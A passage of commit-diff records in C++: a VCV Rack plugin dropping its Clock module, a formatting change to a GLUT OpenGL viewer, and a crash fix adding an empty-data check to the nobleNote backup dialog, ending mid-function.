&VelocityXDelay, 0, 30);\n ImGui::SliderFloat(\"LineDrawScale\", &LineDrawScale, 0.1f, 1.f);\n m_velocityX.CyclesToUpdateValue = VelocityXDelay;\n}\n\nvoid Screen::ZeroBeam() {\n \/\/@TODO: move beam towards 0,0 over time\n m_pos = {0.f, 0.f};\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Simple.hpp\"\n\n#include \"ClockWidget.hpp\"\n\nrack::Plugin* plugin;\n\nvoid init(rack::Plugin *p)\n{\n\tplugin = p;\n\tplugin->slug = \"IO-Simple\";\n\n#ifdef VERSION\n\tp->version = TOSTRING(VERSION);\n#endif\n\tp->addModel(rack::createModel<ButtonTriggerWidget>(\"IO-Simple\", \"Simple\", \"IO-ButtonTrigger\", \"Button Trigger\"));\n\tp->addModel(rack::createModel<ClockDividerWidget>(\"IO-Simple\", \"Simple\", \"IO-ClockDivider\", \"Clock Divider\"));\n\tp->addModel(rack::createModel<RecorderWidget>(\"IO-Simple\", \"Simple\", \"IO-Recorder\", \"Recorder\"));\n\tp->addModel(rack::createModel<ClockWidget>(\"IO-Simple\", \"Simple\", \"IO-Clock\", \"Clock\"));\n}\n<commit_msg>[Clock]: removed clock module from available modules.<commit_after>#include \"Simple.hpp\"\n\n#include \"ClockWidget.hpp\"\n\nrack::Plugin* plugin;\n\nvoid init(rack::Plugin *p)\n{\n\tplugin = p;\n\tplugin->slug = \"IO-Simple\";\n\n#ifdef VERSION\n\tp->version = TOSTRING(VERSION);\n#endif\n\tp->addModel(rack::createModel<ButtonTriggerWidget>(\"IO-Simple\", \"Simple\", \"IO-ButtonTrigger\", \"Button Trigger\"));\n\tp->addModel(rack::createModel<ClockDividerWidget>(\"IO-Simple\", \"Simple\", \"IO-ClockDivider\", \"Clock Divider\"));\n\tp->addModel(rack::createModel<RecorderWidget>(\"IO-Simple\", \"Simple\", \"IO-Recorder\", \"Recorder\"));\n\/\/\tp->addModel(rack::createModel<ClockWidget>(\"IO-Simple\", \"Simple\", \"IO-Clock\", \"Clock\"));\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Viewer.hpp\"\n\n#include <GL\/gl.h>\n#include <GL\/glu.h>\n#include <GL\/freeglut.h>\n\n#include <iostream>\n\nViewer* Viewer::instance_ = NULL;\n\nViewer::Viewer(std::string name, int width, int height) : name_(name), width_(width), \n\theight_(height), running_(false), thetaX_(0.0f), thetaY_(0.0f) {\n}\n\nViewer::~Viewer() {\n}\n\nvoid Viewer::initGlut(int argc, char** argv) {\n\tglutInit(&argc, argv);\n\tglutInitDisplayMode(GLUT_RGBA | GLUT_DOUBLE | GLUT_ALPHA | GLUT_DEPTH);\n\tglutInitWindowSize(width_, height_);\n\tglutInitWindowPosition((glutGet(GLUT_SCREEN_WIDTH) - width_) \/ 2, (glutGet(GLUT_SCREEN_HEIGHT) - height_) \/ 2);\n\tglutCreateWindow(name_.c_str());\n}\n\nvoid Viewer::initGl() {\n\tglEnable(GL_TEXTURE_2D);\n\tglEnable(GL_DEPTH_TEST);\n\tglEnable(GL_CULL_FACE);\n\t\t\n\tglCullFace(GL_BACK);\n\tglClearColor(0.0f, 0.0f, 0.0f, 0.5f);\n\tglClearDepth(1.0f);\t\n\tglDepthFunc(GL_LEQUAL);\n\tglShadeModel(GL_SMOOTH);\n\t\n\tglMatrixMode(GL_PROJECTION);\n glLoadIdentity();\t\t\t\t\/\/ Reset The Projection Matrix\n gluPerspective(45.0f, (GLfloat)width_\/(GLfloat)height_, 0.1f, 100.0f);\n glMatrixMode(GL_MODELVIEW);\n \n glEnable(GL_LIGHTING);\n\tglEnable(GL_LIGHT0);\n glEnable(GL_COLOR_MATERIAL);\n}\n\nvoid Viewer::setModel(const SmartPtr<Model>& model) {\n\tmodel_ = model;\n}\n\nvoid Viewer::start() {\n\tif (!running_) {\n\t\trunning_ = true;\n\t\tglutMainLoop();\n\t}\n}\n\nvoid Viewer::stop() {\n\tif (running_)\n\t\tglutLeaveMainLoop();\n}\n\nvoid Viewer::idle() {\n\tglutPostRedisplay();\n}\n\nvoid Viewer::display() {\n\tglClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);\n\n glMatrixMode(GL_MODELVIEW);\n glLoadIdentity();\n glTranslatef(0.0f, 0.0f, -5.0f);\n glRotatef(thetaX_, 1.0f, 0.0f, 0.0f);\n\tglRotatef(thetaY_, 0.0f, 1.0f, 0.0f);\n\t\n\tmodel_->render();\n\t\n\tglutSwapBuffers();\n}\n\nvoid Viewer::resize(int width, int height) {\n\tglViewport(0, 0, width, height);\n\tglMatrixMode(GL_PROJECTION);\n glLoadIdentity();\t\t\t\t\/\/ Reset The Projection Matrix\n gluPerspective(45.0f, (GLfloat)width_\/(GLfloat)height_, 0.1f, 100.0f);\n glMatrixMode(GL_MODELVIEW);\n}\n\nvoid Viewer::keyDown(unsigned char key, int x, int y) {\n\tif (27 == key) {\n\t\tstop();\n\t}\n}\n\nvoid Viewer::specialKey(int key, int x, int y) {\n\tswitch(key)\t{\n\t\tcase GLUT_KEY_UP:\n\t\t\tthetaX_ += 5.0f;\n\t\t\tbreak;\n\n\t\tcase GLUT_KEY_DOWN:\n\t\t\tthetaX_ -= 5.0f;\n\t\t\tbreak;\n\t\t\n\t\tcase GLUT_KEY_LEFT:\n\t\t\tthetaY_ -= 5.0f;\n\t\t\tbreak;\n\t\t\n\t\tcase GLUT_KEY_RIGHT:\n\t\t\tthetaY_ += 5.0f;\n\t\t\tbreak;\n\t}\n}\n\n\/*\n * Static callbacks\n *\/\nvoid Viewer::setInstance(Viewer* instance) {\n\tinstance_ = instance;\n\tglutIdleFunc(idleCallback);\n\tglutDisplayFunc(displayCallback);\n\tglutKeyboardFunc(keyDownCallback);\n\tglutSpecialFunc(specialKeyCallback);\n}\n\nvoid Viewer::idleCallback() {\n\tinstance_->idle();\n}\n\nvoid Viewer::displayCallback() {\n\tinstance_->display();\n}\n\nvoid Viewer::resizeCallback(int width, int height) {\n\tinstance_->resize(width, height);\n}\n\nvoid Viewer::keyDownCallback(unsigned char key, int x, int y) {\n\tinstance_->keyDown(key, x, y);\n}\n\nvoid Viewer::specialKeyCallback(int key, int x, int y) {\n\tinstance_->specialKey(key, x, y);\n}\n<commit_msg>Formatting changes.<commit_after>#include \"Viewer.hpp\"\n\n#include <GL\/gl.h>\n#include <GL\/glu.h>\n#include <GL\/freeglut.h>\n\n#include <iostream>\n\nViewer* Viewer::instance_ = NULL;\n\nViewer::Viewer(std::string name, int width, int height) : name_(name), width_(width), \n\theight_(height), running_(false), thetaX_(0.0f), thetaY_(0.0f) {\n}\n\nViewer::~Viewer() {\n}\n\nvoid Viewer::initGlut(int argc, char** argv) {\n\tglutInit(&argc, argv);\n\tglutInitDisplayMode(GLUT_RGBA | GLUT_DOUBLE | GLUT_ALPHA | GLUT_DEPTH);\n\tglutInitWindowSize(width_, height_);\n\tglutInitWindowPosition((glutGet(GLUT_SCREEN_WIDTH) - width_) \/ 2, (glutGet(GLUT_SCREEN_HEIGHT) - height_) \/ 2);\n\tglutCreateWindow(name_.c_str());\n}\n\nvoid Viewer::initGl() {\n\tglEnable(GL_TEXTURE_2D);\n\tglEnable(GL_DEPTH_TEST);\n\tglEnable(GL_CULL_FACE);\n\t\n\tglCullFace(GL_BACK);\n\tglClearColor(0.0f, 0.0f, 0.0f, 0.5f);\n\tglClearDepth(1.0f);\n\tglDepthFunc(GL_LEQUAL);\n\tglShadeModel(GL_SMOOTH);\n\t\n\tglMatrixMode(GL_PROJECTION);\n\tglLoadIdentity();\n\tgluPerspective(45.0f, (GLfloat)width_\/(GLfloat)height_, 0.1f, 100.0f);\n\tglMatrixMode(GL_MODELVIEW);\n \n glEnable(GL_LIGHTING);\n glEnable(GL_LIGHT0);\n glEnable(GL_COLOR_MATERIAL);\n}\n\nvoid Viewer::setModel(const SmartPtr<Model>& model) {\n\tmodel_ = model;\n}\n\nvoid Viewer::start() {\n\tif (!running_) {\n\t\trunning_ = true;\n\t\tglutMainLoop();\n\t}\n}\n\nvoid Viewer::stop() {\n\tif (running_)\n\t\tglutLeaveMainLoop();\n}\n\nvoid Viewer::idle() {\n\tglutPostRedisplay();\n}\n\nvoid Viewer::display() {\n\tglClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);\n\n\tglMatrixMode(GL_MODELVIEW);\n\tglLoadIdentity();\n\tglTranslatef(0.0f, 0.0f, -5.0f);\n\tglRotatef(thetaX_, 1.0f, 0.0f, 0.0f);\n\tglRotatef(thetaY_, 0.0f, 1.0f, 0.0f);\n\t\n\tmodel_->render();\n\t\n\tglutSwapBuffers();\n}\n\nvoid Viewer::resize(int width, int height) {\n\tglViewport(0, 0, width, height);\n\tglMatrixMode(GL_PROJECTION);\n glLoadIdentity();\t\t\t\t\/\/ Reset The Projection Matrix\n gluPerspective(45.0f, (GLfloat)width_\/(GLfloat)height_, 0.1f, 100.0f);\n glMatrixMode(GL_MODELVIEW);\n}\n\nvoid Viewer::keyDown(unsigned char key, int x, int y) {\n\tif (27 == key) {\n\t\tstop();\n\t}\n}\n\nvoid Viewer::specialKey(int key, int x, int y) {\n\tswitch(key)\t{\n\t\tcase GLUT_KEY_UP:\n\t\t\tthetaX_ += 5.0f;\n\t\t\tbreak;\n\n\t\tcase GLUT_KEY_DOWN:\n\t\t\tthetaX_ -= 5.0f;\n\t\t\tbreak;\n\t\t\n\t\tcase GLUT_KEY_LEFT:\n\t\t\tthetaY_ -= 5.0f;\n\t\t\tbreak;\n\t\t\n\t\tcase GLUT_KEY_RIGHT:\n\t\t\tthetaY_ += 5.0f;\n\t\t\tbreak;\n\t}\n}\n\n\/*\n * Static callbacks\n *\/\nvoid Viewer::setInstance(Viewer* instance) {\n\tinstance_ = instance;\n\tglutIdleFunc(idleCallback);\n\tglutDisplayFunc(displayCallback);\n\tglutKeyboardFunc(keyDownCallback);\n\tglutSpecialFunc(specialKeyCallback);\n}\n\nvoid Viewer::idleCallback() {\n\tinstance_->idle();\n}\n\nvoid Viewer::displayCallback() {\n\tinstance_->display();\n}\n\nvoid Viewer::resizeCallback(int width, int height) {\n\tinstance_->resize(width, height);\n}\n\nvoid Viewer::keyDownCallback(unsigned char key, int x, int y) {\n\tinstance_->keyDown(key, x, y);\n}\n\nvoid Viewer::specialKeyCallback(int key, int x, int y) {\n\tinstance_->specialKey(key, x, y);\n}\n<|endoftext|>"} {"text":"<commit_before>\/* nobleNote, a note taking application\n * Copyright (C) 2012 Christian Metscher <hakaishi@web.de>,\n Fabian Deuchler <Taiko000@gmail.com>\n\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n\n * nobleNote is licensed under the MIT, see `http:\/\/copyfree.org\/licenses\/mit\/license.txt'.\n *\/\n\n#include \"backup.h\"\n#include \"htmlnotereader.h\"\n#include \"abstractnotereader.h\"\n#include <QDirIterator>\n#include <QMessageBox>\n#include <QSettings>\n#include <QtConcurrentMap>\n#include <QAbstractItemModel>\n\nBackup::Backup(QWidget *parent): QDialog(parent){\n setupUi(this);\n\n splitter = new QSplitter(groupBox);\n gridLayout_2->addWidget(splitter);\n treeWidget = new QTreeWidget(splitter);\n treeWidget->setAlternatingRowColors(true);\n treeWidget->setHorizontalScrollMode(QAbstractItemView::ScrollPerPixel);\n treeWidget->setSortingEnabled(true);\n frame = new QFrame(splitter);\n gridLayout3 = new QGridLayout(frame);\n label = new QLabel(frame);\n label->setText(tr(\"Preview of the selected backup\"));\n gridLayout3->addWidget(label, 0, 0, 1, 1);\n textEdit = new QTextEdit(this);\n textEdit->setDisabled(frame);\n gridLayout3->addWidget(textEdit, 1, 0, 1, 1);\n\n document = new QTextDocument(this);\n textEdit->setDocument(document);\n\n QStringList header;\n header << tr(\"Backups\") << tr(\"Titels\");\n treeWidget->setHeaderLabels(header);\n\n setupTreeData();\n\n deleteOldButton = new QPushButton(tr(\"&delete all old backups and file entries\"),this);\n buttonBox->addButton(deleteOldButton ,QDialogButtonBox::ActionRole);\n\n \/\/TODO: should be selectionChanged instead of activated...\n connect(treeWidget, SIGNAL(activated(QModelIndex)), this, SLOT(showPreview(QModelIndex)));\n connect(this, SIGNAL(handleBackupsSignal()), this, SLOT(handleBackups()));\n connect(this, SIGNAL(accepted()), this, SLOT(restoreBackup()));\n connect(deleteOldButton, SIGNAL(clicked(bool)), this, SLOT(deleteOldBackupsAndFileEntries()));\n}\n\nvoid Backup::setupTreeData()\n{\n treeWidget->clear(); \/\/if there already is any data\n\n \/\/Load backup data\n QMap<QString,QList<QVariant> > backupMap;\n QDir backupDir(QSettings().value(\"backupDirPath\").toString());\n QList<QFileInfo> backupList = backupDir.entryInfoList(QDir::Files, QDir::Name);\n foreach(QFileInfo backup, backupList)\n {\n QList<QVariant> data = getFileData(backup.absoluteFilePath());\n data.takeFirst();\n backupMap.insert(backup.absoluteFilePath(), data);\n }\n\n \/\/Load note data\n QMap<QString,QList<QVariant> > noteMap;\n QDirIterator itFiles(QSettings().value(\"noteDirPath\").toString(),\n QDirIterator::Subdirectories);\n QStringList noteFiles;\n while(itFiles.hasNext()){\n QString filePath = itFiles.next();\n if(itFiles.fileInfo().isFile())\n noteFiles << filePath;\n }\n QStringList notebookNameList; \/\/Get notebook names\n foreach(QString note, noteFiles)\n {\n QList<QVariant> data = getFileData(note);\n QString uuid = data.takeFirst().toString();\n QString title = data.takeFirst().toString();\n data.clear(); \/\/We don't need more than that\n QString notebook = note;\n notebook.remove(\"\/\" + QFileInfo(note).fileName());\n notebook.remove(QSettings().value(\"noteDirPath\").toString() + \"\/\");\n notebookNameList << notebook;\n QList<QVariant> list;\n list << notebook << title;\n noteMap.insert(uuid, list);\n }\n notebookNameList.removeDuplicates();\n\n foreach(QString notebookName, notebookNameList)\n {\n \/\/Create tree toplevel items for notebooks\n QTreeWidgetItem *notebookItem = new QTreeWidgetItem(treeWidget);\n notebookItem->setText(0,notebookName);\n\n \/\/Get note titles and create a child for the notebook\n foreach(QString noteUuid, noteMap.keys())\n {\n if(noteMap[noteUuid].first() == notebookName)\n {\n \/\/Create a child with the note title\n noteMap[noteUuid].takeFirst(); \/\/removing notebook name to get the title\n QTreeWidgetItem *noteItem = new QTreeWidgetItem(notebookItem);\n noteItem->setText(0,noteMap[noteUuid].first().toString());\n\n foreach(QString backupFile, backupMap.keys())\n {\n QString backupUuid = \"{\" + backupFile + \"}\";\n backupUuid.remove(QSettings().value(\"backupDirPath\").toString() + \"\/\");\n backupUuid.remove(QRegExp(\"_\\\\d+\\\\-\\\\d+\\\\-\\\\d+T\\\\d+\\\\-\\\\d+\\\\-\\\\d+\"));\n\n \/\/Create for each backup of the note a child with date and title\n if(noteUuid == backupUuid)\n {\n QList<QVariant> list = backupMap[backupFile];\n backupMap.remove(backupFile);\n QString title = list.takeFirst().toString();\n QDateTime date = list.takeFirst().toDateTime();\n QStringList content;\n content<< backupFile << list.takeFirst().toString();\n QTreeWidgetItem *backupItem = new QTreeWidgetItem(noteItem);\n backupItem->setText(0, date.toString(\"yyyy-MM-dd hh-mm-ss\"));\n backupItem->setData(0,Qt::UserRole,content);\n backupItem->setText(1, title);\n }\n }\n }\n }\n }\n\n \/\/Create toplevel item for backups of deleted notes\n QTreeWidgetItem *item = new QTreeWidgetItem(treeWidget);\n item->setText(0,tr(\"Backups of deleted notes\"));\n\n \/\/Get remaining backups\n QStringList backupFiles = backupMap.keys();\n QStringList deletedTitles;\n foreach(QString path, backupFiles)\n {\n QString str = path;\n str.remove(QRegExp(\"_\\\\d+\\\\-\\\\d+\\\\-\\\\d+T\\\\d+\\\\-\\\\d+\\\\-\\\\d+\"));\n deletedTitles << str;\n }\n deletedTitles.removeDuplicates();\n\n foreach(QString backupPath, deletedTitles)\n {\n QTreeWidgetItem *childItem = new QTreeWidgetItem(item);\n childItem->setText(0,backupMap[backupPath].first().toString());\n\n foreach(QString backupFile, backupMap.keys())\n {\n QList<QVariant> list = backupMap[backupFile];\n backupMap.remove(backupFile);\n QString title = list.takeFirst().toString();\n QDateTime date = list.takeFirst().toDateTime();\n QStringList content;\n content << backupFile << list.takeFirst().toString();\n QTreeWidgetItem *backupItem = new QTreeWidgetItem(childItem);\n backupItem->setText(0,date.toString(\"yyyy-MM-dd hh-mm-ss\"));\n backupItem->setData(0,Qt::UserRole,content);\n backupItem->setText(1,title);\n }\n }\n\n treeWidget->resizeColumnToContents(0);\n}\n\nQList<QVariant> Backup::getFileData(const QString &file)\n{\n AbstractNoteReader *reader = new HtmlNoteReader(file,document);\n QList<QVariant> list;\n QString uuid = reader->uuid();\n list << uuid << reader->title() << reader->lastChange() << document->toHtml();\n return list;\n}\n\nvoid Backup::showPreview(const QModelIndex &idx)\n{\n QStringList dataList = idx.data(Qt::UserRole).toStringList();\n textEdit->setText(dataList.last());\n}\n\nvoid Backup::restoreBackup()\n{\n QStringList dataList = treeWidget->selectionModel()->currentIndex().data(Qt::UserRole).toStringList();\n if(!QFile(dataList.first()).exists())\n return;\n else\n {\n qDebug()<<dataList.first();\/\/TODO:Remove or Override Note\n }\n}\n\nvoid Backup::handleBackups()\n{\n\/\/TODO: Create and handle Backups here\n}\n\nvoid Backup::getNoteUuidList(){\n QFutureIterator<QUuid> it(future1->future());\n while(it.hasNext())\n notesUuids << it.next();\n}\n\nvoid Backup::deleteOldBackupsAndFileEntries(){\n notesUuids.clear(); \/\/make sure that it's empty\n\n \/\/searching for existing Notes\n QDirIterator itFiles(QSettings().value(\"noteDirPath\").toString(),\n QDirIterator::Subdirectories);\n QStringList noteFiles;\n while(itFiles.hasNext()){\n QString filePath = itFiles.next();\n if(itFiles.fileInfo().isFile())\n noteFiles << filePath;\n }\n\n future1 = new QFutureWatcher<QUuid>(this);\n\n QUuid (*uuidPtr)(QString) = & HtmlNoteReader::uuid; \/\/ function pointer, because uuid method is overloaded\n future1->setFuture(QtConcurrent::mapped(noteFiles, uuidPtr));\n\n indexDialog = new QProgressDialog(this);\n indexDialog->setLabelText(QString(tr(\"Indexing notes...\")));\n\n QObject::connect(future1, SIGNAL(finished()), this, SLOT(getNoteUuidList()));\n QObject::connect(future1, SIGNAL(finished()), this, SLOT(progressChanges()));\n QObject::connect(future1, SIGNAL(finished()), indexDialog, SLOT(reset()));\n QObject::connect(indexDialog, SIGNAL(canceled()), future1, SLOT(cancel()));\n QObject::connect(future1, SIGNAL(progressRangeChanged(int,int)),\n indexDialog, SLOT(setRange(int,int)));\n QObject::connect(future1, SIGNAL(progressValueChanged(int)), indexDialog,\n SLOT(setValue(int)));\n\n indexDialog->exec();\n}\n\nvoid actualRemoval(const QString& backupAndUuid){\n if(!backupAndUuid.contains(\"Notes\/\"))\n QFile::remove(backupAndUuid);\n else\n QSettings().remove(backupAndUuid);\n}\n\nvoid Backup::progressChanges(){\n \/\/get backup files\n QStringList backups;\n QDir backupDir(QSettings().value(\"backupDirPath\").toString());\n QList<QFileInfo> backupList = backupDir.entryInfoList(QDir::Files, QDir::Name);\n foreach(QFileInfo backup, backupList)\n backups << backup.absoluteFilePath();\n\n \/\/add QSettings Uuids to the backups\n QStringList backupsAndUuids = backups + QSettings().allKeys().filter(\"Notes\/\");\n\n \/\/We only need the redundant backups and Uuids\n foreach(QString str, backupsAndUuids){\n if(!str.contains(\"Notes\/\") && notesUuids.contains(QFileInfo(str).fileName()))\n backupsAndUuids.removeOne(str);\n if(str.contains(\"Notes\/\")){\n QString settings = str;\n settings.remove(\"Notes\/\");\n settings.remove(\"_size\");\n settings.remove(\"_cursor_position\"); \n if(notesUuids.contains(settings))\n backupsAndUuids.removeOne(str);\n }\n }\n\n QString redundantBackupList;\n foreach(QString str, backupsAndUuids)\n if(!str.contains(\"Notes\/\"))\n redundantBackupList += (str+\"\\n\");\n\n if(backupsAndUuids.isEmpty()){\n QMessageBox::information(this, tr(\"No redundant data!\"), tr(\"no redundant\"\n \" Everything is clean! No redundant data!\"));\n return;\n }\n else{\n if(QMessageBox::warning(this,tr(\"Deleting backups and file entries\"),\n tr(\"Do you really want to delete the backups and entries for the \"\n \"following files?\\n\\n%1\\nYou won't be able to restore them!\").arg(\n redundantBackupList),\n QMessageBox::Yes | QMessageBox::Abort) != QMessageBox::Yes)\n return;\n }\n\n progressDialog = new QProgressDialog(this);\n progressDialog->setLabelText(QString(tr(\"Progressing files...\")));\n\n future2 = new QFutureWatcher<void>(this);\n future2->setFuture(QtConcurrent::map(backupsAndUuids, actualRemoval));\n\n QObject::connect(future2, SIGNAL(finished()), progressDialog, SLOT(reset()));\n QObject::connect(future2, SIGNAL(finished()), this, SLOT(setupTreeData()));\n QObject::connect(progressDialog, SIGNAL(canceled()), future2, SLOT(cancel()));\n QObject::connect(future2, SIGNAL(progressRangeChanged(int,int)), progressDialog,\n SLOT(setRange(int,int)));\n QObject::connect(future2, SIGNAL(progressValueChanged(int)), progressDialog,\n SLOT(setValue(int)));\n\n progressDialog->exec();\n}\n<commit_msg>fixed crush after clicked on empty column.<commit_after>\/* nobleNote, a note taking application\n * Copyright (C) 2012 Christian Metscher <hakaishi@web.de>,\n Fabian Deuchler <Taiko000@gmail.com>\n\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n\n * nobleNote is licensed under the MIT, see `http:\/\/copyfree.org\/licenses\/mit\/license.txt'.\n *\/\n\n#include \"backup.h\"\n#include \"htmlnotereader.h\"\n#include \"abstractnotereader.h\"\n#include <QDirIterator>\n#include <QMessageBox>\n#include <QSettings>\n#include <QtConcurrentMap>\n#include <QAbstractItemModel>\n\nBackup::Backup(QWidget *parent): QDialog(parent){\n setupUi(this);\n\n splitter = new QSplitter(groupBox);\n gridLayout_2->addWidget(splitter);\n treeWidget = new QTreeWidget(splitter);\n treeWidget->setAlternatingRowColors(true);\n treeWidget->setHorizontalScrollMode(QAbstractItemView::ScrollPerPixel);\n treeWidget->setSortingEnabled(true);\n frame = new QFrame(splitter);\n gridLayout3 = new QGridLayout(frame);\n label = new QLabel(frame);\n label->setText(tr(\"Preview of the selected backup\"));\n gridLayout3->addWidget(label, 0, 0, 1, 1);\n textEdit = new QTextEdit(this);\n textEdit->setDisabled(frame);\n gridLayout3->addWidget(textEdit, 1, 0, 1, 1);\n\n document = new QTextDocument(this);\n textEdit->setDocument(document);\n\n QStringList header;\n header << tr(\"Backups\") << tr(\"Titels\");\n treeWidget->setHeaderLabels(header);\n\n setupTreeData();\n\n deleteOldButton = new QPushButton(tr(\"&delete all old backups and file entries\"),this);\n buttonBox->addButton(deleteOldButton ,QDialogButtonBox::ActionRole);\n\n \/\/TODO: should be selectionChanged instead of activated...\n connect(treeWidget, SIGNAL(activated(QModelIndex)), this, SLOT(showPreview(QModelIndex)));\n connect(this, SIGNAL(handleBackupsSignal()), this, SLOT(handleBackups()));\n connect(this, SIGNAL(accepted()), this, SLOT(restoreBackup()));\n connect(deleteOldButton, SIGNAL(clicked(bool)), this, SLOT(deleteOldBackupsAndFileEntries()));\n}\n\nvoid Backup::setupTreeData()\n{\n treeWidget->clear(); \/\/if there already is any data\n\n \/\/Load backup data\n QMap<QString,QList<QVariant> > backupMap;\n QDir backupDir(QSettings().value(\"backupDirPath\").toString());\n QList<QFileInfo> backupList = backupDir.entryInfoList(QDir::Files, QDir::Name);\n foreach(QFileInfo backup, backupList)\n {\n QList<QVariant> data = getFileData(backup.absoluteFilePath());\n data.takeFirst();\n backupMap.insert(backup.absoluteFilePath(), data);\n }\n\n \/\/Load note data\n QMap<QString,QList<QVariant> > noteMap;\n QDirIterator itFiles(QSettings().value(\"noteDirPath\").toString(),\n QDirIterator::Subdirectories);\n QStringList noteFiles;\n while(itFiles.hasNext()){\n QString filePath = itFiles.next();\n if(itFiles.fileInfo().isFile())\n noteFiles << filePath;\n }\n QStringList notebookNameList; \/\/Get notebook names\n foreach(QString note, noteFiles)\n {\n QList<QVariant> data = getFileData(note);\n QString uuid = data.takeFirst().toString();\n QString title = data.takeFirst().toString();\n data.clear(); \/\/We don't need more than that\n QString notebook = note;\n notebook.remove(\"\/\" + QFileInfo(note).fileName());\n notebook.remove(QSettings().value(\"noteDirPath\").toString() + \"\/\");\n notebookNameList << notebook;\n QList<QVariant> list;\n list << notebook << title;\n noteMap.insert(uuid, list);\n }\n notebookNameList.removeDuplicates();\n\n foreach(QString notebookName, notebookNameList)\n {\n \/\/Create tree toplevel items for notebooks\n QTreeWidgetItem *notebookItem = new QTreeWidgetItem(treeWidget);\n notebookItem->setText(0,notebookName);\n\n \/\/Get note titles and create a child for the notebook\n foreach(QString noteUuid, noteMap.keys())\n {\n if(noteMap[noteUuid].first() == notebookName)\n {\n \/\/Create a child with the note title\n noteMap[noteUuid].takeFirst(); \/\/removing notebook name to get the title\n QTreeWidgetItem *noteItem = new QTreeWidgetItem(notebookItem);\n noteItem->setText(0,noteMap[noteUuid].first().toString());\n\n foreach(QString backupFile, backupMap.keys())\n {\n QString backupUuid = \"{\" + backupFile + \"}\";\n backupUuid.remove(QSettings().value(\"backupDirPath\").toString() + \"\/\");\n backupUuid.remove(QRegExp(\"_\\\\d+\\\\-\\\\d+\\\\-\\\\d+T\\\\d+\\\\-\\\\d+\\\\-\\\\d+\"));\n\n \/\/Create for each backup of the note a child with date and title\n if(noteUuid == backupUuid)\n {\n QList<QVariant> list = backupMap[backupFile];\n backupMap.remove(backupFile);\n QString title = list.takeFirst().toString();\n QDateTime date = list.takeFirst().toDateTime();\n QStringList content;\n content<< backupFile << list.takeFirst().toString();\n QTreeWidgetItem *backupItem = new QTreeWidgetItem(noteItem);\n backupItem->setText(0, date.toString(\"yyyy-MM-dd hh-mm-ss\"));\n backupItem->setData(0,Qt::UserRole,content);\n backupItem->setText(1, title);\n }\n }\n }\n }\n }\n\n \/\/Create toplevel item for backups of deleted notes\n QTreeWidgetItem *item = new QTreeWidgetItem(treeWidget);\n item->setText(0,tr(\"Backups of deleted notes\"));\n\n \/\/Get remaining backups\n QStringList backupFiles = backupMap.keys();\n QStringList deletedTitles;\n foreach(QString path, backupFiles)\n {\n QString str = path;\n str.remove(QRegExp(\"_\\\\d+\\\\-\\\\d+\\\\-\\\\d+T\\\\d+\\\\-\\\\d+\\\\-\\\\d+\"));\n deletedTitles << str;\n }\n deletedTitles.removeDuplicates();\n\n foreach(QString backupPath, deletedTitles)\n {\n QTreeWidgetItem *childItem = new QTreeWidgetItem(item);\n childItem->setText(0,backupMap[backupPath].first().toString());\n\n foreach(QString backupFile, backupMap.keys())\n {\n QList<QVariant> list = backupMap[backupFile];\n backupMap.remove(backupFile);\n QString title = list.takeFirst().toString();\n QDateTime date = list.takeFirst().toDateTime();\n QStringList content;\n content << backupFile << list.takeFirst().toString();\n QTreeWidgetItem *backupItem = new QTreeWidgetItem(childItem);\n backupItem->setText(0,date.toString(\"yyyy-MM-dd hh-mm-ss\"));\n backupItem->setData(0,Qt::UserRole,content);\n backupItem->setText(1,title);\n }\n }\n\n treeWidget->resizeColumnToContents(0);\n}\n\nQList<QVariant> Backup::getFileData(const QString &file)\n{\n AbstractNoteReader *reader = new HtmlNoteReader(file,document);\n QList<QVariant> list;\n QString uuid = reader->uuid();\n list << uuid << reader->title() << reader->lastChange() << document->toHtml();\n return list;\n}\n\nvoid Backup::showPreview(const QModelIndex &idx)\n{\n QStringList dataList = idx.data(Qt::UserRole).toStringList();\n if(dataList.isEmpty())\n return;\n textEdit->setText(dataList.last());\n}\n\nvoid Backup::restoreBackup()\n{\n QStringList dataList = treeWidget->selectionModel()->currentIndex().data(Qt::UserRole).toStringList();\n if(!QFile(dataList.first()).exists())\n return;\n else\n {\n qDebug()<<dataList.first();\/\/TODO:Remove or Override Note\n }\n}\n\nvoid Backup::handleBackups()\n{\n\/\/TODO: Create and handle Backups here\n}\n\nvoid Backup::getNoteUuidList(){\n QFutureIterator<QUuid> it(future1->future());\n 